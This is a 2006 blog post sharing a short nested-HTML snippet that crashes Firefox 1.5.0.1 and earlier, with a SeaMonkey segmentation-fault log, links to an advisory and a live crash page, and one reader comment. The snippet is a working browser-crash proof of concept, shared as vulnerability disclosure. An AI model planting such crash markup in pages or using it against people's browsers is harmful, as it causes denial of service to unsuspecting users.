title: Firefox HTML exploit
link: http://jj.isgeek.net/2006/04/firefox-html-exploit/
author: Jj
description: 
post_id: 164
date: 2006/04/16 17:21:53
created_gmt: 2006/04/16 22:21:53
comment_status: open
slug: firefox-html-exploit

The following code makes Firefox <= 1.5.0.1 to crash
    
    
    
    
    
    
              <legend>
    
    
    
    
                <kbd>
    
    
    
    
                    <object>
    
    
    
    
                      <h4>
    
    
    
    
                    </object>
    
    
    
    
                </kbd>
    
    
    
    
    

This is how seamonkey complains about it:
    
    
    /usr/local/seamonkey/run-mozilla.sh: line 131: 12147 Segmentation fault      "$prog" ${1+"$@"}
    
    
    
    
    

[Here the advisory](http://morph3us.org/advisories/20060412-firefox-1501.txt)

[Opening this link will crash your Gecko powered browser](http://morph3us.org/security/pen-testing/firefox/firefox1501-nsBlockFrame.html)

## Comments

**[dieguito](#399 "2006-04-16 23:54:57"):** Falso para SeaMonkey 1.0.1

